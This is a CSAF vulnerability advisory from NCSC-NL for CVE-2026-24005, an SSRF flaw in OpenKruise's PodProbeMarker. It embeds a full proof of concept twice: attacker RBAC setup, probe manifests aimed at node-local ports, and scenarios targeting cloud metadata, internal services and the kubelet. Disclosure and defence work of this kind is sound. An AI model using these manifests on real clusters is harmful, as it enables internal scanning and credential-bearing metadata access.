{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-24005",
        "tracking": {
            "current_release_date": "2026-03-27T20:34:44.157183Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-24005",
            "initial_release_date": "2026-02-25T18:39:54.920334Z",
            "revision_history": [
                {
                    "date": "2026-02-25T18:39:54.920334Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T18:39:56.901553Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-02-25T20:21:01.981277Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T20:21:11.225855Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-25T20:27:18.968615Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-25T20:27:21.201817Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T00:12:48.134994Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Products created (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T11:41:08.898593Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (20).| Products created (4).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T11:41:17.231439Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T14:14:36.822848Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-02-26T14:14:43.371335Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-26T21:59:35.209872Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-02-27T22:39:45.669930Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-02-27T22:39:48.884134Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-28T06:12:57.477471Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-05T01:24:39.097009Z",
                    "number": "16",
                    "summary": "Products connected (2).| Product Identifiers created (2).| Exploits created (1)."
                },
                {
                    "date": "2026-03-05T01:24:41.185399Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-09T06:12:46.679112Z",
                    "number": "18",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                },
                {
                    "date": "2026-03-09T06:12:49.884734Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:53:27.331731Z",
                    "number": "20",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:53:30.758381Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T19:49:13.764829Z",
                    "number": "22",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (4).| References created (7).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T19:49:19.423404Z",
                    "number": "23",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.5",
                                "product": {
                                    "name": "vers:unknown/1.7.5",
                                    "product_id": "CSAFPID-5944640"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.8.3",
                                "product": {
                                    "name": "vers:unknown/1.8.3",
                                    "product_id": "CSAFPID-5944639"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.7.5",
                                "product": {
                                    "name": "vers:unknown/<1.7.5",
                                    "product_id": "CSAFPID-5944642"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.8.0|<1.8.3",
                                "product": {
                                    "name": "vers:unknown/>=1.8.0|<1.8.3",
                                    "product_id": "CSAFPID-5944641"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "go/github.com/openkruise/kruise"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.7.5",
                                "product": {
                                    "name": "vers:unknown/<1.7.5",
                                    "product_id": "CSAFPID-5712650",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:openkruise:kruise:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<1.7.5",
                                "product": {
                                    "name": "vers:unknown/>=0|<1.7.5",
                                    "product_id": "CSAFPID-5713299"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.8.0|<1.8.3",
                                "product": {
                                    "name": "vers:unknown/>=1.8.0|<1.8.3",
                                    "product_id": "CSAFPID-5712649",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:openkruise:kruise:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0",
                                "product": {
                                    "name": "vers:unknown/v0.1.0",
                                    "product_id": "CSAFPID-5065088"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0-beta.1",
                                "product": {
                                    "name": "vers:unknown/v0.1.0-beta.1",
                                    "product_id": "CSAFPID-5065089"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.1.0-beta.2",
                                "product": {
                                    "name": "vers:unknown/v0.1.0-beta.2",
                                    "product_id": "CSAFPID-5065090"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.10.0",
                                "product": {
                                    "name": "vers:unknown/v0.10.0",
                                    "product_id": "CSAFPID-5065091"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.2.0",
                                "product": {
                                    "name": "vers:unknown/v0.2.0",
                                    "product_id": "CSAFPID-5065092"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.0",
                                "product": {
                                    "name": "vers:unknown/v0.3.0",
                                    "product_id": "CSAFPID-5065093"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.3.1",
                                "product": {
                                    "name": "vers:unknown/v0.3.1",
                                    "product_id": "CSAFPID-5065094"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.0",
                                "product": {
                                    "name": "vers:unknown/v0.4.0",
                                    "product_id": "CSAFPID-5065095"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.4.1",
                                "product": {
                                    "name": "vers:unknown/v0.4.1",
                                    "product_id": "CSAFPID-5065096"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.5.0",
                                "product": {
                                    "name": "vers:unknown/v0.5.0",
                                    "product_id": "CSAFPID-5065097"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.0",
                                "product": {
                                    "name": "vers:unknown/v0.6.0",
                                    "product_id": "CSAFPID-5065098"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.6.1",
                                "product": {
                                    "name": "vers:unknown/v0.6.1",
                                    "product_id": "CSAFPID-5065099"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.7.0",
                                "product": {
                                    "name": "vers:unknown/v0.7.0",
                                    "product_id": "CSAFPID-5065100"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.8.0",
                                "product": {
                                    "name": "vers:unknown/v0.8.0",
                                    "product_id": "CSAFPID-5065101"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v0.9.0",
                                "product": {
                                    "name": "vers:unknown/v0.9.0",
                                    "product_id": "CSAFPID-5065102"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-alpha.1",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-alpha.1",
                                    "product_id": "CSAFPID-5065103"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.0.0-beta.0",
                                "product": {
                                    "name": "vers:unknown/v1.0.0-beta.0",
                                    "product_id": "CSAFPID-5065104"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.2.0",
                                "product": {
                                    "name": "vers:unknown/v1.2.0",
                                    "product_id": "CSAFPID-5065105"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.3.0",
                                "product": {
                                    "name": "vers:unknown/v1.3.0",
                                    "product_id": "CSAFPID-5065106"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.5.0",
                                "product": {
                                    "name": "vers:unknown/v1.5.0",
                                    "product_id": "CSAFPID-4156668"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.5.2",
                                "product": {
                                    "name": "vers:unknown/v1.5.2",
                                    "product_id": "CSAFPID-5727921"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.8.0",
                                "product": {
                                    "name": "vers:unknown/v1.8.0",
                                    "product_id": "CSAFPID-5727922"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.8.1",
                                "product": {
                                    "name": "vers:unknown/v1.8.1",
                                    "product_id": "CSAFPID-5727923"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v1.8.2",
                                "product": {
                                    "name": "vers:unknown/v1.8.2",
                                    "product_id": "CSAFPID-5727924"
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                            }
                        ],
                        "category": "product_name",
                        "name": "kruise"
                    }
                ],
                "category": "vendor",
                "name": "openkruise"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-24005",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nPodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.\n\n## Kubernetes Version\n\n- Kubernetes: v1.30.0 (kind cluster)\n- Distribution: kind\n\n## Component Version\n\n- OpenKruise: v1.8.0\n- kruise-daemon: DaemonSet with hostNetwork=true\n- Affected CRDs: PodProbeMarker, NodePodProbe\n\n## Steps To Reproduce\n\n### Environment Setup\n\n1. Install OpenKruise v1.8.0 in kind cluster:\n```bash\nhelm repo add openkruise https://openkruise.github.io/charts/\nhelm install kruise openkruise/kruise --version 1.8.0 \\\n  --namespace kruise-system --create-namespace\n```\n\n2. Verify kruise-daemon runs with hostNetwork:\n```bash\nkubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork\n```\nOutput:\n```\nhostNetwork: true\n```\n\n3. Create test namespace and RBAC:\n```bash\nkubectl apply -f - <<EOF\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: tenant-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: attacker\n  namespace: tenant-a\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: ppm-creator\n  namespace: tenant-a\nrules:\n- apiGroups: [\"apps.kruise.io\"]\n  resources: [\"podprobemarkers\"]\n  verbs: [\"create\",\"get\",\"list\",\"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: ppm-creator-binding\n  namespace: tenant-a\nsubjects:\n- kind: ServiceAccount\n  name: attacker\n  namespace: tenant-a\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: ppm-creator\nEOF\n```\n\n4. Deploy victim workload:\n```bash\nkubectl apply -f - <<EOF\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: tenant-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: victim\n        image: busybox:1.36\n        command: [\"/bin/sh\",\"-c\",\"sleep 36000\"]\nEOF\n```\n\n### Exploitation Steps\n\n5. Verify node-local port accessibility (kubelet healthz):\n```bash\nNODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)\ndocker exec $NODE_CONTAINER curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:10248/healthz\n```\nOutput:\n```\n200\n```\n\n6. Create SSRF PodProbeMarker targeting node-local port (as attacker):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-ssrf\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-ssrf\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 10248\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\nOutput:\n```\npodprobemarker.apps.kruise.io/ppm-tcp-ssrf created\n```\n\n7. Wait for probe execution and observe SSRF result:\n```bash\nsleep 10\nNODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 \"ppm-tcp-ssrf\"\n```\nOutput:\n```yaml\n      name: ppm-tcp-ssrf#tcp-ssrf\n      probe:\n        tcpSocket:\n          host: 127.0.0.1\n          port: 10248\nstatus:\n  podProbeStatuses:\n  - name: victim-8596ff64d6-jklnb\n    namespace: tenant-a\n    probeStates:\n    - lastProbeTime: \"2026-01-13T17:48:10Z\"\n      name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\nEvidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.\n\n8. Demonstrate port scanning capability (closed port):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-closed\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-closed\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp-closed\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 9999\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\n\n9. Observe port scanning result:\n```bash\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 \"ppm-tcp-closed\"\n```\nOutput:\n```yaml\n    - lastProbeTime: \"2026-01-13T17:51:08Z\"\n      message: 'dial tcp 127.0.0.1:9999: connect: connection refused'\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\nEvidence: Failed probe with \"connection refused\" message enables port state differentiation for scanning.\n\n10. Verify Pod condition and events:\n```bash\nVICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')\nkubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 \"Conditions:\"\n```\nOutput:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n\nEvents:\n  Normal  KruiseProbeSucceeded  96s (x24 over 3m26s)  kruise-daemon-podprobe\n```\n\n### Source Code Evidence\n\n11. TCPSocket Host field used without restriction:\n\nFile: `pkg/daemon/podprobe/prober.go`\n```go\nfunc (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {\n    host := tcp.Host\n    if host == \"\" {\n        host = podIP\n    }\n    return tcpProber{\n        tcp: tcp,\n        host: host,\n    }\n}\n```\n\n12. Webhook validation does not check Host field:\n\nFile: `pkg/webhook/podprobemarker/validating/probe_create_update_handler.go`\n```go\nfunc validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {\n    return ValidatePortNumOrName(tcp.Port, fldPath.Child(\"port\"))\n}\n```\n\nNote: Only port validation, no Host restriction.\n\n### Attack Scenarios\n\nScenario 1 - Cloud metadata access:\n```yaml\nprobe:\n  tcpSocket:\n    host: 169.254.169.254\n    port: 80\n```\n\nScenario 2 - Internal service discovery:\n```yaml\nprobe:\n  tcpSocket:\n    host: 10.0.0.1\n    port: 6379\n```\n\nScenario 3 - Node-local kubelet API:\n```yaml\nprobe:\n  tcpSocket:\n    host: 127.0.0.1\n    port: 10250\n```\n\n## Supporting Material/References\n\n### Verification Evidence\n\n1. kruise-daemon hostNetwork configuration:\n```bash\n$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 \"hostNetwork\"\n      hostNetwork: true\n      restartPolicy: Always\n```\n\n2. Successful SSRF to open port (127.0.0.1:10248):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\n3. Port scanning result for closed port (127.0.0.1:9999):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - message: 'dial tcp 127.0.0.1:9999: connect: connection refused'\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\n4. Pod condition reflecting probe results:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n```\n\n### Impact Assessment\n\n- Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.\n- Integrity: Low. Primarily information disclosure.\n- Availability: Medium. Resource consumption from probe requests.\n\n### Limitations\n\nHTTPGet probe rejected by webhook in OpenKruise v1.8.0:\n```\nError: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe\n```\n\nTCPSocket probe remains vulnerable.\n\n### Remediation\n\nTemporary mitigation:\n- Restrict PodProbeMarker creation permissions\n- Apply network policies limiting kruise-daemon egress\n- Audit existing PodProbeMarker resources\n\nPermanent fix:\n- Enforce Host field restrictions in webhook validation\n- Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)\n- Require Host to be empty or equal to PodIP\n- Sanitize error messages in NodePodProbe status\n\n---\n\n**Verification Environment**: kind v1.30.0 + OpenKruise v1.8.0",
                    "title": "github - https://github.com/advisories/GHSA-9fj4-3849-rv9g"
                },
                {
                    "category": "description",
                    "text": "Kruise provides automated management of large-scale applications on Kubernetes. Prior to versions 1.8.3 and 1.7.5, PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages. Versions 1.8.3 and 1.7.5 patch the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-24005"
                },
                {
                    "category": "description",
                    "text": "Kruise provides automated management of large-scale applications on Kubernetes. Prior to versions 1.8.3 and 1.7.5, PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages. Versions 1.8.3 and 1.7.5 patch the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-24005"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nPodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.\n\n## Kubernetes Version\n\n- Kubernetes: v1.30.0 (kind cluster)\n- Distribution: kind\n\n## Component Version\n\n- OpenKruise: v1.8.0\n- kruise-daemon: DaemonSet with hostNetwork=true\n- Affected CRDs: PodProbeMarker, NodePodProbe\n\n## Steps To Reproduce\n\n### Environment Setup\n\n1. Install OpenKruise v1.8.0 in kind cluster:\n```bash\nhelm repo add openkruise https://openkruise.github.io/charts/\nhelm install kruise openkruise/kruise --version 1.8.0 \\\n  --namespace kruise-system --create-namespace\n```\n\n2. Verify kruise-daemon runs with hostNetwork:\n```bash\nkubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork\n```\nOutput:\n```\nhostNetwork: true\n```\n\n3. Create test namespace and RBAC:\n```bash\nkubectl apply -f - <<EOF\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: tenant-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: attacker\n  namespace: tenant-a\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: ppm-creator\n  namespace: tenant-a\nrules:\n- apiGroups: [\"apps.kruise.io\"]\n  resources: [\"podprobemarkers\"]\n  verbs: [\"create\",\"get\",\"list\",\"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: ppm-creator-binding\n  namespace: tenant-a\nsubjects:\n- kind: ServiceAccount\n  name: attacker\n  namespace: tenant-a\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: ppm-creator\nEOF\n```\n\n4. Deploy victim workload:\n```bash\nkubectl apply -f - <<EOF\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: victim\n  namespace: tenant-a\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: victim\n  template:\n    metadata:\n      labels:\n        app: victim\n    spec:\n      containers:\n      - name: victim\n        image: busybox:1.36\n        command: [\"/bin/sh\",\"-c\",\"sleep 36000\"]\nEOF\n```\n\n### Exploitation Steps\n\n5. Verify node-local port accessibility (kubelet healthz):\n```bash\nNODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)\ndocker exec $NODE_CONTAINER curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:10248/healthz\n```\nOutput:\n```\n200\n```\n\n6. Create SSRF PodProbeMarker targeting node-local port (as attacker):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-ssrf\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-ssrf\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 10248\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\nOutput:\n```\npodprobemarker.apps.kruise.io/ppm-tcp-ssrf created\n```\n\n7. Wait for probe execution and observe SSRF result:\n```bash\nsleep 10\nNODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 \"ppm-tcp-ssrf\"\n```\nOutput:\n```yaml\n      name: ppm-tcp-ssrf#tcp-ssrf\n      probe:\n        tcpSocket:\n          host: 127.0.0.1\n          port: 10248\nstatus:\n  podProbeStatuses:\n  - name: victim-8596ff64d6-jklnb\n    namespace: tenant-a\n    probeStates:\n    - lastProbeTime: \"2026-01-13T17:48:10Z\"\n      name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\nEvidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.\n\n8. Demonstrate port scanning capability (closed port):\n```bash\nkubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF\napiVersion: apps.kruise.io/v1alpha1\nkind: PodProbeMarker\nmetadata:\n  name: ppm-tcp-closed\n  namespace: tenant-a\nspec:\n  selector:\n    matchLabels:\n      app: victim\n  probes:\n  - name: tcp-closed\n    containerName: victim\n    podConditionType: ssrf.kruise.io/tcp-closed\n    probe:\n      tcpSocket:\n        host: 127.0.0.1\n        port: 9999\n      timeoutSeconds: 2\n      periodSeconds: 5\nEOF\n```\n\n9. Observe port scanning result:\n```bash\nkubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 \"ppm-tcp-closed\"\n```\nOutput:\n```yaml\n    - lastProbeTime: \"2026-01-13T17:51:08Z\"\n      message: 'dial tcp 127.0.0.1:9999: connect: connection refused'\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\nEvidence: Failed probe with \"connection refused\" message enables port state differentiation for scanning.\n\n10. Verify Pod condition and events:\n```bash\nVICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')\nkubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 \"Conditions:\"\n```\nOutput:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n\nEvents:\n  Normal  KruiseProbeSucceeded  96s (x24 over 3m26s)  kruise-daemon-podprobe\n```\n\n### Source Code Evidence\n\n11. TCPSocket Host field used without restriction:\n\nFile: `pkg/daemon/podprobe/prober.go`\n```go\nfunc (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {\n    host := tcp.Host\n    if host == \"\" {\n        host = podIP\n    }\n    return tcpProber{\n        tcp: tcp,\n        host: host,\n    }\n}\n```\n\n12. Webhook validation does not check Host field:\n\nFile: `pkg/webhook/podprobemarker/validating/probe_create_update_handler.go`\n```go\nfunc validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {\n    return ValidatePortNumOrName(tcp.Port, fldPath.Child(\"port\"))\n}\n```\n\nNote: Only port validation, no Host restriction.\n\n### Attack Scenarios\n\nScenario 1 - Cloud metadata access:\n```yaml\nprobe:\n  tcpSocket:\n    host: 169.254.169.254\n    port: 80\n```\n\nScenario 2 - Internal service discovery:\n```yaml\nprobe:\n  tcpSocket:\n    host: 10.0.0.1\n    port: 6379\n```\n\nScenario 3 - Node-local kubelet API:\n```yaml\nprobe:\n  tcpSocket:\n    host: 127.0.0.1\n    port: 10250\n```\n\n## Supporting Material/References\n\n### Verification Evidence\n\n1. kruise-daemon hostNetwork configuration:\n```bash\n$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 \"hostNetwork\"\n      hostNetwork: true\n      restartPolicy: Always\n```\n\n2. Successful SSRF to open port (127.0.0.1:10248):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - name: ppm-tcp-ssrf#tcp-ssrf\n      state: Succeeded\n```\n\n3. Port scanning result for closed port (127.0.0.1:9999):\n```yaml\nstatus:\n  podProbeStatuses:\n    probeStates:\n    - message: 'dial tcp 127.0.0.1:9999: connect: connection refused'\n      name: ppm-tcp-closed#tcp-closed\n      state: Failed\n```\n\n4. Pod condition reflecting probe results:\n```\nConditions:\n  Type                        Status\n  ssrf.kruise.io/tcp          True\n  ssrf.kruise.io/tcp-closed   False\n```\n\n### Impact Assessment\n\n- Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.\n- Integrity: Low. Primarily information disclosure.\n- Availability: Medium. Resource consumption from probe requests.\n\n### Limitations\n\nHTTPGet probe rejected by webhook in OpenKruise v1.8.0:\n```\nError: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe\n```\n\nTCPSocket probe remains vulnerable.\n\n### Remediation\n\nTemporary mitigation:\n- Restrict PodProbeMarker creation 